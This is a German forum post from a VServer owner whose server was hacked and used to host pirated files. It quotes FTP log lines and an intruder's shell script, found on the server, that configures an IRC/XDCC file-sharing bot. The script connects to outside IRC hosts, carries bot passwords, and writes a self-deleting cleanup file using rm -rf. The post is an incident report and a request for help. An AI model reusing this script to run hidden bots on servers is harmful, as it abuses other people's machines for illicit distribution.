VServer als Fileserver benutzt

Hi,
hoffe Ihr könnt mir helfen.
Ich habe seit kurzem einen VServer bei Strato, dieser wurde von irgendwelchen Kiddies gehackt und als Fileserver benutzt. Habe schon die Pfade raus bekommen, wo diese sachen liegen.
So wie ich das jetzt sehe haben die ein Script ausgeführt (Dummerweise war mein SafeMode off) und somit die Files hochgeladen.

In meiner Log Datei habe ich folgende Logs gefunden.

Mar 30 15:49:52 h8xxxxx proftpd[6076]: h8xxxxx.serverkompetenz.net (85.xx.xx.xx[85.xx.xxx.xx])) - no such user 'web5'
Mar 30 15:49:52 h8xxxxx proftpd[6076]: h8xxxxx .serverkompetenz.net (85.xx.xx.xx[85.xx.xxx.xx]) - USER web5: no such user found from 85.xx.xx.xx [85.xx.xx.xx] to 85.xx.xx.xx:21


Wenn ich diese Ordner lösche dann funktioniert irgendwie gar nix mehr (ssh zugang geht nicht mehr und Apache ist auch nicht mehr erreichbar)

Folgendes File hab ich noch gefunden

#!/bin/sh
echo "statefile Infodll.state" >> conf.txt;
echo "statefile mybot.state" >> conf.txt;
echo "connectionmethod direct" >> conf.txt;
echo "server franco.ns0.it 6666" >> conf.txt;
echo "server franco.ns0.it 6667" >> conf.txt;
echo "server franco.ns0.it 6668" >> conf.txt;
echo "server franco.ns0.it 6669" >> conf.txt;
echo "server franco.ns0.it 7000" >> conf.txt;
echo "server irc.toxic-power.net 6666" >> conf.txt;
echo "server irc.toxic-power.net 6667" >> conf.txt;
echo "server irc.toxic-power.net 6668" >> conf.txt;
echo "server irc.toxic-power.net 7000" >> conf.txt;
echo "channel ###r00t###" >> conf.txt;
echo "channel #toxic" >> conf.txt;
echo "channel $2" >> conf.txt;
echo "user_nick ToXiC|$1" >> conf.txt;
echo "nickserv_pass c0c41n4">> conf.txt;
echo "adminpass zSvOExY4a/k1U">>conf.txt;
echo "#local_vhost 123.456.789.123" >> conf.txt;
echo "#tcprangestart 4000" >> conf.txt;
echo "#usenatip 123.456.789.123" >> conf.txt;
echo "user_realname ...::::9ToXiC CrEw::::..." >> conf.txt;
echo "user_modes +ix" >> conf.txt;
echo "loginname ToXiC" >> conf.txt;
echo "slotsmax 10" >> conf.txt;
echo "queuesize 30" >> conf.txt;
echo "maxtransfersperperson 1" >> conf.txt;
echo "maxqueueditemsperperson 2" >> conf.txt;
echo "restrictlist yes" >> conf.txt;
echo "restrictprivlist yes" >> conf.txt;
echo "restrictsend yes" >> conf.txt;
echo "restrictprivlistmsg Per la lista http://ToXiCWaReZ.Altervista.Org; >> conf.txt;
echo "respondtochannelxdcc no" >> conf.txt;
echo "respondtochannellist no" >> conf.txt;
echo "headline [9T9o9X9i9C 9C9r9E9w]..::9The Best Way For Sharing::..0®" >> conf.txt;
echo "creditline [9T9o9X9i9C 9C9r9E9w]..::9The Best Way For Sharing::..0®" >> conf.txt;
echo "adminhost *!*@ToXiC.CrEw" >> conf.txt;
echo "uploadhost *!*@ToXiC.CrEw" >> conf.txt;
echo "uploadhost *!*@T.o.X.i.C" >> conf.txt;
echo "downloadhost *!*@*.*" >> conf.txt;
echo "hideos yes" >> conf.txt;
echo "filedir `pwd`" >> conf.txt;
echo "uploaddir `pwd`" >> conf.txt;
echo "#!/bin/sh">>remove;
echo "rm -rf linux.tar;rm -rf remove">>remove;
chmod 777 remove;
ls -la;

zusätzlich fande ich noch das Programm "ftpd"


Wie genau soll ich jetzt vorgehen! Die Daten sichern und zur Anzeige bringen ??

würde mich über hilfe freuen
Gruß
Esche